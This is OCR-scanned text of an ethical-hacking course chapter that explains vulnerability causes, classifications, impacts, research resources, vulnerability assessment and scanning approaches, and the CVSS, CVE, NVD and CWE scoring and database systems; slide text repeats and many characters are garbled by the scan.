
Insecure or poor design of the network and
application

Inherent technology weaknesses

Careless approach of end users
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What is Vulnerability?

A vulnerability refers to a weakness in the design or implementation of a system that can be
exploited to compromise the security of the system. It is frequently a security loophole that
enables an attacker to enter the system by bypassing user authentication.

Common Reasons for the Existence of Vulnerabilities
= Hardware or software misconfiguration

The insecure configuration of the hardware or software in a network can lead to
security loopholes. For example, a misconfiguration or the use of an unencrypted
protocol may lead to network intrusions, resulting in the leakage of sensitive
information. While a misconfiguration of hardware may allow attackers to obtain access
to the network or system, a misconfiguration of software may allow attackers to obtain
access to applications and data.

= |nsecure or poor design of network and application

An improper and insecure design of a network may make it susceptible to various
threats and potential data loss. For example, if firewalls, IDS, and virtual private network
(VPN) technologies are not implemented securely, they can expose the network to
numerous threats.

* |nherent technology weaknesses

If the hardware or software is not capable of defending the network against certain
types of attacks, the network will be vulnerable to those attacks. Certain hardware,
applications, or web browsers tend to be prone to attacks such as DoS or man-in-the-
middle attacks. For example, systems running old versions of web browsers are prone to
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distributed attacks. If systems are not updated, a small Trojan attack can force the user
to scan and clean the entire storage in the machine, which often leads to data loss.

= End-user carelessness

End-user carelessness considerably impacts network security. Human behavior is fairly
susceptible to various types of attacks and can be exploited to effect serious outcomes,
including data loss and information leakage. Intruders can obtain sensitive information
through various social engineering techniques. The sharing of account information or
login credentials by users with potentially malicious entities can lead to the loss of data
or exploitation of the information. Connecting systems to an insecure network can also
lead to attacks from third parties.

= [ntentional end-user acts

Ex-employees who continue to have access to shared drives can misuse them by
revealing the company’s sensitive information. Such an act is called an intentional end-
user act and can lead to heavy data and financial losses for the company.
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Vulnerability Classification
Vulnerabilities present in a system or network are classified into the following categories:
= Misconfiguration

Misconfiguration is the most common vulnerability and is mainly caused by human
error, which allows attackers to gain unauthorized access to the system. It may happen
intentionally or unintentionally and affects web servers, application platforms,
databases, and networks.

The following are some examples of misconfiguration:

o An application running with debug enabled

o Unnecessary administrative ports that are open for an application
o Running outdated software on the system

o Running unnecessary services on a machine

o Outbound connections to various Internet services

o Using misconfigured SSL certificates or default certificates
o Improperly authenticated external systems

o Incorrect folder permissions

o Default accounts or passwords

o Set up or configuration pages enabled

o Disabling security settings and features
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Attackers can easily detect these misconfigurations using scanning tools and then
exploit the backend systems. Therefore, the administrators must change the default
configuration of devices and optimize device security.

= Default Installations

Default installations are usually user-friendly — especially when the device is being used
for the first time when the primary concern is the usability of the device rather than the
device’s security. In some cases, infected devices may not contain any valuable
information, but are connected to networks or systems that have confidential
information that would result in a data breach. Failing to change the default settings
while deploying the software or hardware allows the attacker to guess the settings to
break into the system.

= Buffer Overflows

Buffer overflows are common software vulnerabilities that happen due to coding errors
that allow attackers to gain access to the target system. In a buffer overflow attack, the
attackers undermine the functioning of programs and try to take control of the system
by writing content beyond the allocated size of the buffer. Insufficient bounds checking
in the program is the root cause. The buffer is not able to handle data beyond its limit,
causing the flow of data to adjacent memory locations and overwriting their data
values. Systems often crash, become unstable, or show erratic program behavior when
buffer overflow occurs.

= Unpatched Servers

Servers are an essential component of the infrastructure of any organization. There are
several cases where organizations run unpatched and misconfigured servers that
compromise the security and integrity of the data in their system. Hackers look out for
these vulnerabilities in the servers and exploit them. As these unpatched servers are a
hub for the attackers, they serve as an entry point into the network. This can lead to the
exposure of private data, financial loss, and discontinuation of operations. Updating
software regularly and maintaining systems properly by patching and fixing bugs can
help in mitigating the vulnerabilities caused by unpatched servers.

= Design Flaws

Vulnerabilities due to design flaws are universal to all operating devices and systems.
Design vulnerabilities such as incorrect encryption or the poor validation of data refer to
logical flaws in the functionality of the system that attackers exploit to bypass the
detection mechanism and acquire access to a secure system.

= Operating System Flaws

Due to vulnerabilities in the operating systems, applications such as trojans, worms, and
viruses pose threats. These attacks use malicious code, script, or unwanted software,
which results in the loss of sensitive information and control of computer operations.
Timely patching of the OS, installing minimal software applications, and using
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applications with firewall capabilities are essential steps that an administrator must take
to protect the OS from attacks.

= Application Flaws

Application flaws are vulnerabilities in applications that are exploited by the attackers.
Applications should be secured using the validation and authorization of the user.
Flawed applications pose security threats such as data tampering and unauthorized
access to configuration stores. If the applications are not secured, sensitive information
may be lost or corrupted. Hence, developers must understand the anatomy of common
security vulnerabilities and develop highly secure applications by providing proper user
validation and authorization.

= Open Services

Open ports and services may lead to the loss of data or DoS attacks and allow attackers
to perform further attacks on other connected devices. Administrators must
continuously check for unnecessary or insecure ports and services to reduce the risk to
the network.

=  Default Passwords

Manufacturers provide users with default passwords to access the device during its
initial set-up, which users must change for future use. When users forget to update the
passwords and continue using the default passwords, they make devices and systems
vulnerable to various attacks, such as brute force and dictionary attacks. Attackers
exploit this vulnerability to obtain access to the system. Passwords should be kept
confidential; failing to protect the confidentiality of a password allows the system to be
easily compromised.

= Zero-Day Vulnerabilities

Zero-day vulnerabilities are unknown vulnerabilities in software/hardware that are
exposed but not yet patched. These are exploited by the attackers before being
acknowledged and patched by the software developers or security analysts. Zero-day
vulnerabilities are one of the major cyber threats that continuously expose vulnerable
systems until they get patched.

= Legacy Platform Vulnerabilities

Legacy platform vulnerabilities are exposed from old or familiar codes. However, they
could cause costly data breaches for organizations. Using these outdated codes,
attackers can easily discover zero-day vulnerabilities in the system or software that are
not yet patched.
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Examples of Network Security Vulnerabilities

Technological Description
Vulnerabilities 5
TCP/IP protocol QO HTTP, FTP, ICMP, SNMP, SMTP are
vulnerabilities inherently insecure
O An OS can be vulnerable because:
Operating System . .
hees = [tisinherently insecure
vulnerabilities

= Itis not patched with the latest updates

O Various network devices such as
routers, firewall, and switches can be

vulnerable due to:
Network Device

i~ = Lack of password protection
Vulnerabilities

= lLack of authentication

= Insecure routing protocols

= Firewall vulnerabilities
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Configuration Description
Vulnerabilities P
@ Originating from the insecure transmission of user
User account

I biliti account details such as usernames and passwords, over
vulnerabilities the network
System account @ Originating from setting of weak passwords for system
vulnerabilities accounts

@ Misconfiguring internet services can pose serious security
Internet service risks. For example, enabling JavaScript and
misconfiguration misconfiguring IIS, Apache, FTP, and Terminal services,
can create security vulnerabilities in the network

Default password and @ Leaving the network devices/products with their default
settings passwords and settings

Ne'tworl.( deVI(.:e @ Misconfiguring the network device

misconfiguration
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Examples of Network Security
Vulnerabilities (Cont’d)

Security Policy o

Unwritten Policy & Unwritten security policies are difficult to implement and enforce

@ Lack of continuity in implementing and enforcing the security

Lack of Continuity iy

& Politics may cause challenges for implementation of a consistent

Politics : )
security policy

Lack of awareness @ Lack of awareness of the security policy
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Examples of Network Security Vulnerabilities

The following tables summarize examples of technological, configuration, and security policy
vulnerabilities:

Technological Vulnerabilities Description

TCP/IP protocol vulnerabilities =  HTTP, FTP, ICMP, SNMP, SMTP are inherently insecure

= An OS can be vulnerable because:
Operating System vulnerabilities o Itisinherently insecure
o Itis not patched with the latest updates

=  Various network devices such as routers, firewall, and
switches can be vulnerable due to:
o Lack of password protection
Network Device Vulnerabilities L
o Lack of authentication
o Insecure routing protocols
o

Firewall vulnerabilities

Table 3.3: Technological Vulnerabilities

Configuration Vulnerabilities Description

=  QOriginating from the insecure transmission of user
User account vulnerabilities account details such as usernames and passwords,
over the network

=  QOriginating from setting of weak passwords for system

System account vulnerabilities
accounts
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=  Misconfiguring internet services can pose serious
security risks. For example, enabling JavaScript and
misconfiguring IIS, Apache, FTP, and Terminal services,
can create security vulnerabilities in the network

Internet service misconfiguration

= Leaving the network devices/products with their

Default password and settings .
P & default passwords and settings

Network device misconfiguration =  Misconfiguring the network device

Table 3.4: Configuration Vulnerabilities

Security Policy Vulnerabilities Description

= Unwritten security policies are difficult to implement

Unwritten Policy and enforce

= Lack of continuity in implementing and enforcing the

Lack of Continuity security policy

=  Politics may cause challenges for implementation of a

Politics . . .
consistent security policy
Lack of awareness = Lack of awareness of the security policy
Table 3.5: Security Policy Vulnerabilities
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Impact of Vulnerabilities

0

Information disclosure

0

Financial loss

Unauthorized access Legal consequences

0 0

Identity theft Reputational damage Data modification
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Impact of Vulnerabilities

Listed below are some of the impacts of vulnerabilities in networks and systems.

Information disclosure: A website or application may expose system-specific
information.

Denial of service: Vulnerabilities may prevent users from accessing website services or
other resources.

Privilege escalation: Attackers may gain elevated access to a protected system or
resources.

Unauthorized access: Attackers may gain unauthorized access to a system, a network,
data, or an application.

Identity theft: Attackers may be able to steal the personal or financial information of
users to commit fraud with their identity.

Data exfiltration: Vulnerabilities may lead to the unauthorized retrieval and
transmission of sensitive data.

Reputational damage: Vulnerabilities may cause reputational damage to a company’s
products and security. Reputational damage has a direct impact on customers, sales,
and profit.

Financial loss: Reputational damage may lead to business loss. Further, vulnerability
exploitation may lead to expenses for recovering damaged IT infrastructure.

Legal consequences: If customers’ personal data are compromised, the organization
may need to face legal consequences in the form of fines and regulatory sanctions.
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= Hold footprints: Vulnerabilities may allow attackers to stay undetected even after
executing an attack.

= Remote code execution: Vulnerabilities may allow the execution of arbitrary code from
remote servers.

= Malware installation: Vulnerabilities can make it easy to infect with and spread viruses
in a network.

= Data modification: Vulnerabilities may allow attackers to intercept and alter data in
transit.
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Define Vulnerability Assessment

Vulnerability assessment plays a major role in providing security to any organization’s resources
and infrastructure from various internal and external threats. This section describes
vulnerability research, vulnerability assessment, types of vulnerability assessment, vulnerability
scoring systems, vulnerability management lifecycle, vulnerability assessment tools, and
vulnerability exploitation.
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U The process of analyzing An administrator needs vulnerability research:
protocols, services, and
configurations to discover To gather information concerning security trends, threats,

Vulnerability Research

vulnerabilities and design attack surfaces, attack vectors and techniques
flaws that will expose an

operating system and its

applications'to exploit, To discover weaknesses in the OS and applications, and alert
attack, or misuse the network administrator before a network attack
Vulnerabilities are classified To gather information to aid in the prevention of security
based on severity level B

(low, medium, or high) and @

exploit range (local or

remote) s To know how to recover from a network attack
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Vulnerability Research

Vulnerability research is the process of analyzing protocols, services, and configurations to
discover the vulnerabilities and design flaws that will expose an operating system and its
applications to exploit, attack, or misuse.

An administrator needs vulnerability research:

To gather information about security trends, newly discovered threats, attack surfaces,
attack vectors and techniques

To find weaknesses in the OS and applications and alert the network administrator
before a network attack

To understand information that helps prevent security problems

To know how to recover from a network attack

An ethical hacker needs to keep up with the most recently discovered vulnerabilities and
exploits to stay one step ahead of attackers through vulnerability research, which includes:

Discovering the system design faults and weaknesses that might allow attackers to
compromise a system

Staying updated about new products and technologies and reading news related to
current exploits

Checking underground hacking web sites (Deep and Dark websites) for newly discovered
vulnerabilities and exploits

Checking newly released alerts regarding relevant innovations and product
improvements for security systems
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Security experts and vulnerability scanners classify vulnerabilities by:
= Severity level (low, medium, or high)
= Exploit range (local or remote)

Ethical hackers need to conduct intense research with the help of information acquired in the
footprinting and scanning phases to find vulnerabilities.
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Resources for Vulnerability Research

- reI::a)i:'flt(\l\lllleIc:;abllltv E-@ Security Magazine @a SecurityFocus
L

. https://www.securitymagazine.com https://www.securityfocus.com
https://www.microsoft.com

u" Dark Reading PenTest Magazine [X:l Help Net Security

|) g https://www.darkreading.com https://pentestmag.com https://www.helpnetsecurity.com
-’ SecurityTracker B SC Magazine HackerStorm
f—= https://securitytracker.com https://www.scmagazine.com http://www.hackerstorm.co.uk

Trend Micro = Exploit Database m Computerworld
p—»% https://www.trendmicro.com g https://www.exploit-db.com https://www.computerworld.com
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Resources for Vulnerability Research
The following are some of the online websites used to perform vulnerability research:

=  Microsoft Vulnerability Research (MSVR) (https://www.microsoft.com)

Dark Reading (https://www.darkreading.com)

= SecurityTracker (https://securitytracker.com)

=  Trend Micro (https://www.trendmicro.com)

= Security Magazine (https://www.securitymagazine.com)
= PenTest Magazine (https://pentestmag.com)

= SC Magazine (https://www.scmagazine.com)

= Exploit Database (https://www.exploit-db.com)

= SecurityFocus (https://www.securityfocus.com)

= Help Net Security (https://www.helpnetsecurity.com)
= HackerStorm (http://www.hackerstorm.co.uk)

=  Computerworld (https://www.computerworld.com)
=  WindowsSecurity (http://www.windowsecurity.com)

= D’Crypt (https://www.d-crypt.com)
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What is Vulnerability
Assessment?

O Vulnerability assessment is an in-depth examination
of the ability of a system or application, including
current security procedures and controls, to
withstand the exploitation

O It recognizes, measures, and classifies security
| ﬁ vulnerabilities in a computer system, network, and
5 A communication channels

/

A vulnerability assessment may be used to:
v’ Identify weaknesses that could be exploited

v’ Predict the effectiveness of additional security measures
in protecting information resources from attacks
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What is Vulnerability Assessment?

A vulnerability assessment is an in-depth examination of the ability of a system or application,
including current security procedures and controls, to withstand exploitation. It scans networks
for known security weaknesses, and recognizes, measures, and classifies security vulnerabilities
in computer systems, networks, and communication channels. It identifies, quantifies, and
ranks possible vulnerabilities to threats in a system. Additionally, it assists security professionals
in securing the network by identifying security loopholes or vulnerabilities in the current
security mechanism before attackers can exploit them.

A vulnerability assessment may be used to:
= |dentify weaknesses that could be exploited

= Predict the effectiveness of additional security measures in protecting information
resources from attack

Typically, vulnerability-scanning tools search network segments for IP-enabled devices and
enumerate systems, operating systems, and applications to identify vulnerabilities resulting
from vendor negligence, system or network administration activities, or day-to-day activities.
Vulnerability-scanning software scans the computer against the Common Vulnerability and
Exposures (CVE) index and security bulletins provided by the software vendor.

Limitations of Vulnerability Assessment
The following are some of the limitations of vulnerability assessments:

= Vulnerability-scanning software is limited in its ability to detect vulnerabilities at a given
point in time
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=  Vulnerability-scanning software must be updated when new vulnerabilities are
discovered or when improvements are made to the software being used

= Software is only as effective as the maintenance performed on it by the software vendor
and by the administrator who uses it

= Vulnerability Assessment does not measure the strength of security controls

= Vulnerability-scanning software itself is not immune to software engineering flaws that
might lead to it missing serious vulnerabilities

= Human judgment is needed to analyze the data after scanning and identifying the false
positives and false negatives.
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Information Obtained from the Vulnerability

o
Scanning
OS version running on Open ports and running Application and services
computers or devices services vulnerabilities

N

Application and services Accounts with weak passwords Missing patches and hotfixes
configuration errors
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Information Obtained from the Vulnerability Scanning
Vulnerability scanners are capable of identifying the following information:
= The OS version running on computers or devices

= [P and Transmission Control Protocol/User Datagram Protocol (TCP/UDP) ports that are
listening

=  Applications installed on computers

= Accounts with weak passwords

= Files and folders with weak permissions

= Default services and applications that might have to be uninstalled
= Errors in the security configuration of common applications

=  Computers exposed to known or publicly reported vulnerabilities
= EOL/EOS software information

=  Missing patches and hotfixes

=  Weak network configurations and misconfigured or risky ports

= Help to verify the inventory of all devices on the network
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@ Active Scanning @ Passive Scanning

Vulnerability Scanning Approaches

Two approaches to network vulnerability scanning:

U The attacker interacts directly with O The attacker tries to find vulnerabilities
the target network to find without directly interacting with the
vulnerabilities target network

O Example: An attacker sends probes O Example: An attacker guesses the
and specially crafted requests to the operating system information,
target host in the network to identify applications, and application and
vulnerabilities service versions by observing the TCP

connection setup and teardown
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Vulnerability Scanning Approaches

There are two approaches to network vulnerability scanning:

Active Scanning: The attacker interacts directly with the target network to find
vulnerabilities. Active scanning helps in simulating an attack on the target network to
uncover vulnerabilities that can be exploited by the attacker.

Example: An attacker sends probes and specially crafted requests to the target host in
the network to identify vulnerabilities.

Passive Scanning: The attacker tries to find vulnerabilities without directly interacting
with the target network. The attacker identifies vulnerabilities via information exposed
by systems during normal communications. Passive scanning identifies the active
operating systems, applications, and ports throughout the target network, monitoring
activity to determine its vulnerabilities. This approach provides information about
weaknesses but does not provide a path for directly combating attacks.

Example: An attacker guesses the operating system information, applications, and
application and service versions by observing the TCP connection setup and teardown.

Attackers scan for vulnerabilities using tools such as Nessus, Qualys, GFl LanGuard, and
OpenVAS. Vulnerability scanning enables an attacker to identify network vulnerabilities, open
ports and running services, application and services configuration errors, and application and
service vulnerabilities.
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Vulnerability Scoring Systems and Databases

= An open framework for communicating the characteristics and impacts of IT vulnerabilities Common
Vulnerability
= |ts quantitative model ensures repeatable accurate measurement, while enabling users to view Scoring System
the underlying vulnerability characteristics used to generate the scores (CVSS)

CVSS v3.0 Ratings

[ common Vulnerability Scoring System Calculator version s CVE-2017-0144
Base Score Range 7 ‘ . : . : s 'U‘i

None 0.0

Low 0.1-3.9 007 oo 55
Medium 4.0-6.9

High 7.0-8.9 " : ‘ overtcuss scre o1
Critical 9.0-10.0

cvss va vector
AENACH/PRNJUEN/SUICH/HAH

CVSS v2.0 Ratings

Low

Base Score Metrics

Exploitability Metrics Scope (s)”
Base Score Range Attack Vector (AV)* [ Unchanged 5) RIS
Adjacent Network [AVi2) | Local (VL) | Physical(avF)  Impact Metrics.

0.0-3.9 Attack Complexity (AC) Confidentiality Impact (€)"
a7k LowAc) None(c)  Low 1) TN

Privieges Required (PR)* Integrity Impace ()
Medium 4.0-6.9 Low(PRL)  High (PRi) None 1) | Low (K]

User Interaction (U1)* Availability Impact (3)*

High 7.0-10

https://www first.org https://nvd.nist.gov

BN,

Comman Vulnerabilities and Exposures

Search CVE List Download CVE

TOTAL CVE Entries: 118175

HOME > CVE > SEARCH RESULTS
Common Search Results
Vulnerabilities and |There are 414 CVE entries that match your search.
Exposures (CVE) Name Description
CVE-2019-9565 Druide Antidote RX, HD, 8 before 8.05.2287, 9 before 9.5.3937 and 10 before 10.1.2147
. ) allows remote attackers to steal NTLM hashes or perform SMB relay attacks upon a
A publlcly available and direct launch of the product, or upon an indirect launch via an integration such as
f li o Chrome, Firefox, Word, Outlook, etc. This occurs because the product attempts to access
ree-to-use list or dlCthﬂarY a share with the PLUG-INS subdomain name; an attacker may be able to use Active
of standardized identifiers Directory Domain Services to register that name.
£ CVE-2019-7097 Adobe Dreamweaver versions 19.0 and earlier have an insecure protocol implementation
for common software vulnerability. Successful exploitation could lead to sensitive data disclosure if smb
vulnerabilities and request is subject to a relay attack.
CVE-2019-6452 Kyocera Command Center RX TASKalfa4501i and TASKalfa5052ci allows remote attackers
€xposures to abuse the Test button in the machine address book to obtain a cleartext FTP or SMB
password.

https://cve.mitre.org
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Vulnerability
Scoring Systems and
Databases (Cont’d)

Information Technology Laboratory

NATIONAL VULNERABILITY DATABASE

Identifier
Vulnerability

VE-2019-6452 Published Date

i . Current Description QOICIINEO R
National Vulnerablllty Database (NVD) Kyocera Command Center RX TASKalfa4501i and TASKalfa5052ci allows remote attackers to abuse the Test button in the CVE Dictionary Entry:
machine address book to obtain a cleartext FTP or SMB password. CVE-2019-6452
NVD Published Date:
= A U.S. government repository of standards- based Souree: TR 06/06/2019
- . e Anelysis Qescrsion NVD Last Modified:
vulnerability management data represented using the pea— os/11/2019
Security Content Automation Protocol (SCAP) Impact
CVSS v3.0 Severit) CVSS v2.0 Severity aplefetrics:
= These data enable the automation of vu|nerabi|ity Vector: AV AGPRIL/UKN/SU/CH/LH /A (3 Vector: (AV:N/AC:L/AU:S/C:F/:N/A:N) (V2 legend)
. . legend) Impact Subscore: 2.9
management, security measurement, and compliance Impact score: 5.9 Exploitabilty Subscore: 5.0
Exploitability Score: 2.8
. . . Access Vector (AV): Network
= The NVD includes databases of security checklist Attack Vector (AV): Network Access Complexity (AC): Low
. Attack Complexity (AC): Low Authentication (AU): Single
references, security-related software flaws, Privileges Required (PR): Low Confidentialty (C): Partial
misconfigurations, product names, and impact metrics e o ey s oe
https://nvd.nist.gov

Copyright © by EC-Gouncil. All Rights Reserved. Reproductionis Strictly Prohibited.

Vulnerability Scoring Systems
and Databases (Cont’d)

Common Weakness Enumeration
A Community-Developed List of Software Weakness Tiypes

Common Weakness Enumeration (CWE)

Home About CWE List Scoring Community News Search
CWE™ is 3 community-developed lst of common software security wesknesses. It serves 35 a comman A category system for software vulnerabilities and
language, a measuring stick for software security tools, and as a baseline for weakness identification,
mitigation, and prevention efforts weaknesses

View the List of Weaknesses

by Research Concepts ) by Development Concepts ) by Architectural Concepts )

It is sponsored by the National Cybersecurity
° FFRDC, which is owned by The MITRE Corporation,

Search CWE

Easily find a specific software weakness by performing a search of the CWE List by keywords(s) or by CWE-ID
Number. To search by multiple keywords, separate each by a space.

with support from US-CERT and the National Cyber
Security Division of the U.S. Department of
Homeland Security

| .

About 10 results (0.17

seconds)

CWE-427: Uncontrolied Search Path Element (3.2)- CWE
ttpsicwe mitre org/dataldefinitionsi427 htmi

In some cases, the attack can be conducted lemule\) such a3 o SMB o WotDAY
network shares are used. In some Unix-based systems, a PATH might b

It has over 600 categories of weaknesses,
° which enable CWE to be effectively employed

CWWE-130: Improper Handing of Length Parameer - CWE
itps/cwe.mitre org/dataldefinitions/130 himl

Product allows remote attackers to cause a denial of service and possibly execute arbitrary
code via an SMB packet that specifies a smaller buffer length than is

by the community as a baseline for weakness
identification, mitigation, and prevention
efforts

CWE-204' Auhenticalion Bypass by Caplure-replay (3.2) - CWE

A catureeplay i xit when he desig f the sofvare makes i possle for a
malicious user to sniff network traffc and bypass authentication by replaying https://cwe.mitre.org|
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Vulnerability Scoring Systems and Databases

Due to the growing severity of cyber-attacks, vulnerability research has become critical as it
helps to mitigate the chance of attacks. Vulnerability research provides awareness of advanced
techniques to identify flaws or loopholes in the software that can be exploited by attackers.
Vulnerability scoring systems and vulnerability databases are used by security analysts to rank
information system vulnerabilities and to provide a composite score of the overall severity and
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risk associated with identified vulnerabilities. Vulnerability databases collect and maintain
information about various vulnerabilities present in information systems.

Following are some of the vulnerability scoring systems and databases:
= Common Vulnerability Scoring System (CVSS)
=  Common Vulnerabilities and Exposures (CVE)
= National Vulnerability Database (NVD)
=  Common Weakness Enumeration (CWE)
Common Vulnerability Scoring System (CVSS)
Source: https://www.first.org, https://nvd.nist.gov

CVSS is a published standard that provides an open framework for communicating the
characteristics and impacts of IT vulnerabilities. The system’s quantitative model ensures
repeatable, accurate measurement while enabling users to see the underlying vulnerability
characteristics that were used to generate the scores. Thus, CVSS is well suited as a standard
measurement system for industries, organizations, and governments that need accurate and
consistent vulnerability impact scores. Two common uses of CVSS are prioritizing vulnerability
remediation activities and calculating the severity of vulnerabilities discovered on one’s
systems. The National Vulnerability Database (NVD) provides CVSS scores for almost all known
vulnerabilities.

CVSS helps capture the principal characteristics of a vulnerability and produce a numerical score
to reflect its severity. This numerical score can thereafter be translated into a qualitative
representation (such as low, medium, high, or critical) to help organizations properly assess and
prioritize their vulnerability management processes.

CVSS assessment consists of three metrics for measuring vulnerabilities:
= Base Metric: Represents the inherent qualities of a vulnerability

= Temporal Metric: Represents the features that continue to change during the lifetime of
the vulnerability.

= Environmental Metric: Represents vulnerabilities that are based on a particular
environment or implementation.

Each metric sets a score from 1-10, with 10 being the most severe. The CVSS score is calculated
and generated by a vector string, which represents the numerical score for each group in the
form of a block of text. The CVSS calculator ranks the security vulnerabilities and provides the
user with information on the overall severity and risk related to the vulnerability.

Severity Base Score Range
None 0.0
Low 0.1-3.9
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Medium 4.0-6.9
High 7.0-8.9
Critical 9.0-10.0

Table 3.6: CVSS v3.0 ratings

Severity Base Score Range
Low 0.0-3.9
Medium 4.0-6.9
High 7.0-10

Table 3.7: CVSS v2.0 ratings

B Common Vulnerability Scoring System Calculator version s CVE-2017-0144

This page shows the components of the CVSS score for example and allows you to refine the CVSS base score. Please

read the CVSS standards guide to fully understand how to score CVSS vulnerabilities and to interpret CVSS scores. The

scores are computed in sequence such that the Base Score is used to calculate the Temporal Score and the Temporal

Score is used to calculate the Environmental Score.

Base Scores Temporal Environmental Overall CVSS Base Score: 8.1
100 10.0 0.0 100 Impact subscore: 5.9
8.0 4 8.0 8.0 8.0 W Exploitability Subscore: 2.2
6.0 4 6.0 6.0 6.0 - CVSS Temporal Score: NA
4.0 4.0 4,04 4.0 | CVSS Environmental Score: NA
2.0 2.04 2.0 2.04 | Modified Impact Subscore: NA
00 00 00 00 Overall CVSS Score: 8.1
Base Impact Exploitability Temporal Envirenmental Medified Impact Overall
CVSS v3 Vector

AV:N/AC:H/PR:N/UL:N/S:U/C:H/I:H/A:H

Base Score Metrics

Exploitability Metrics
Attack Vector (AV)*

Attack Complexity (AC)*

Low (AC:L) GIEGYIe)]

Privileges Required (PR)*

(ELCIGGEYM Low (PRiL)  High (PR:H)

User Interaction (U1)*

LY (VEM Required (ULR)

VBT Adjacent Network (AV:A)  Local (AV:L) ~ Physical (AV:P)

Scope (S)*
Changed (S:C)
Impact Metrics
Confidentiality Impact (C)*

None (C:N)  Low (C:L) [lG(e=))]
Integrity Impact (I)*

None (:N)  Low (L) [Elu(B)]

Availability Impact (A)*

None (aN)  Low (a:L) [IETTICEDNE

* - All base metrics are required to generate a base score.

Figure 3.13: Common Vulnerability Scoring System Calculator Version 3

Common Vulnerabilities and Exposures (CVE)

Source: https://cve.mitre.org

CVE® is a publicly available and free-to-use list or dictionary of standardized identifiers for
common software vulnerabilities and exposures. The use of CVE Identifiers, or “CVE IDs,” which
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are assigned by CVE Numbering Authorities (CNAs) from around the world, ensures confidence
among parties when discussing or sharing information about a unique software or firmware
vulnerability. CVE provides a baseline for tool evaluation and enables data exchange for
cybersecurity automation. CVE IDs provide a baseline for evaluating the coverage of tools and
services so that users can determine which tools are most effective and appropriate for their
organization’s needs. In short, products and services compatible with CVE provide better
coverage, easier interoperability, and enhanced security.

What CVE is:
= One identifier for one vulnerability or exposure
= One standardized description for each vulnerability or exposure
= Adictionary rather than a database
= A method for disparate databases and tools to “speak” the same language
= The way to interoperability and better security coverage
= A basis for evaluation among services, tools, and databases
= Free for the public to download and use

® |ndustry-endorsed via the CVE Numbering Authorities, CVE Board, and the numerous
products and services that include CVE

BN

Comman Vulnerabilitias and Exposures

Search CVE List Download CVE Data Feeds Request CVE IDs Update a CVE
Entry

TOTAL CVE Entries: 118175

Search Results
|There are 414 CVE entries that match your search.

Name Description

CWVE-2019-9565 Druide Antidote RX, HD, 8 before 8.05.2287, 9 before 9.5.3937 and 10 before 10.1.2147
allows remote attackers to steal NTLM hashes or perform SMB relay attacks upon a
direct launch of the product, or upon an indirect launch via an integraticn such as
Chrome, Firefox, Word, Outlook, etc. This occurs because the product attempts to access
a share with the PLUG-INS subdomain name; an attacker may be able tc use Active
Directory Domain Services to register that name.

CVE-2019-7097 Adobe Dreamweaver versions 19.0 and earlier have an insecure protocol implementation
vulnerability. Successful exploitation could lead to sensitive data disclosure if smb
request is subject to a relay attack.

CVE-2019-6452 Kyccera Command Center RX TASKalfa4501i and TASKalfas052ci allows remote attackers
to abuse the Test button in the machine address book to obtain a cleartext FTP or SMB
password.

Figure 3.14: Common Vulnerabilities and Exposures (CVE)
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National Vulnerability Database (NVD)
Source: https://nvd.nist.gov

The NVD is the U.S. government repository of standards-based vulnerability management data.
It uses the Security Content Automation Protocol (SCAP). Such data enable the automation of
vulnerability management, security measurement, and compliance. The NVD includes
databases of security checklist references, security-related software flaws, misconfigurations,
product names, and impact metrics.

The NVD performs an analysis on CVEs that have been published to the CVE Dictionary. NVD
staff are tasked with the analysis of CVEs by aggregating data points from the description,
references supplied, and any supplemental data that are publicly available. This analysis results
in association impact metrics (Common Vulnerability Scoring System — CVSS), vulnerability
types (Common Weakness Enumeration — CWE), and applicability statements (Common
Platform Enumeration — CPE), as well as other pertinent metadata. The NVD does not actively
perform vulnerability testing; it relies on vendors, third party security researchers, and
vulnerability coordinators to provide information that is used to assign these attributes.

NIST

Information Technology Laboratory

NATIONAL VULNERABILITY DATABASE

Vulnerability
Identifier

VULNERABILITIES

Vulnerability
Published Date

ICVE-2019-6452|Detail

Current Description QUICKINFO

Kyocera Command Center RX TASKalfa4501i and TASKalfa5052ci allows remote attackers to abuse the Test button in the
machine address book to obtain a cleartext FTP or SMB password.

CVE Dictionary Entry:
CVE-2019-6452

NVD Published Date:
06/06/2019

NVD Last Modified:
06/11/2019

Source: MITRE
#view Analysis Description

CVSS v3 Score CVSS v2 Score

Impact
CVSS v3.0 Severit

Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (V3
legend)

Impact Score: 5.9

Exploitability Score: 2.8

CVSS v2.0 Severity ap
Base Score: 4.0 MEDIUM |
Vector: (AV:N/AC:L/Au:S/C:P/I:N/A:N) (V2 legend)
Impact Subscore: 2.9

Exploitability Subscore: 8.0

Access Vector (AV): Network

Attack Vector (AV): Network
Attack Complexity (AC): Low
Privileges Required (PR): Low
User Interaction (Ul): None

Access Complexity (AC): Low
Authentication (AU): Single
Confidentiality (C): Partial
Integrity (I): None

Figure 3.15: Screenshot showing CVE details in the National Vulnerability Database (NVD)
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Common Weakness Enumeration (CWE)
Source: https://cwe.mitre.org

Common Weakness Enumeration (CWE) is a category system for software vulnerabilities and
weaknesses. It is sponsored by the National Cybersecurity FFRDC, which is owned by The MITRE
Corporation, with support from US-CERT and the National Cyber Security Division of the U.S.
Department of Homeland Security. The latest version 3.2 of the CWE standard was released in
January 2019. It has over 600 categories of weaknesses, which gives CWE the ability to be
effectively employed by the community as a baseline for weakness identification, mitigation,
and prevention efforts. It also has an advanced search technique where attackers can search
and view weaknesses based on research concepts, development concepts, and architectural
concepts.

- CWE and SANS Institute
c W Common Weakness Enumeration C oo
A Communitv-Developed List of Software Weakness Tipes 25 ERRORS

Go|

Home About CWE List Scoring Community News Search

CWE™ is a community-developed list of common software security weaknesses. It serves as a common
language, a measuring stick for software security tools, and as a baseline for weakness identification,
mitigation, and prevention efforts.

View the List of Weaknesses

by Research Concepts ) by Development Concepts ) by Architectural Concepts )

Search CWE

Easily find a specific software weakness by performing a search of the CWE List by keywords(s) or by CWE-ID
Number. To search by multiple keywords, separate each by a space.

| .

About 10 results (0.17 seconds)

CWE-427: Uncontrolled Search Path Element (3.2) - CWE

https://cwe. mitre_org/data/definitions/427 _html

In some cases, the attack can be conducted remotely, such as when SMB or WebDAV
network shares are used. In some Unix-based systems, a PATH might be ...

CWE-130: Improper Handling_of Length Parameter ... - CWE

https://cwe. mitre org/data/definitions/130.html

Product allows remote attackers to cause a denial of service and possibly execute arbitrary
code via an SMB packet that specifies a smaller buffer length than is ...

CWE-294- Authentication Bypass by Capture-replay (3.2) - CWE
https .mitre.org/data/definitions/294. html

A capture-replay flaw exists when the design of the software makes it possible for a
malicious user to sniff network traffic and bypass authentication by replaying ...

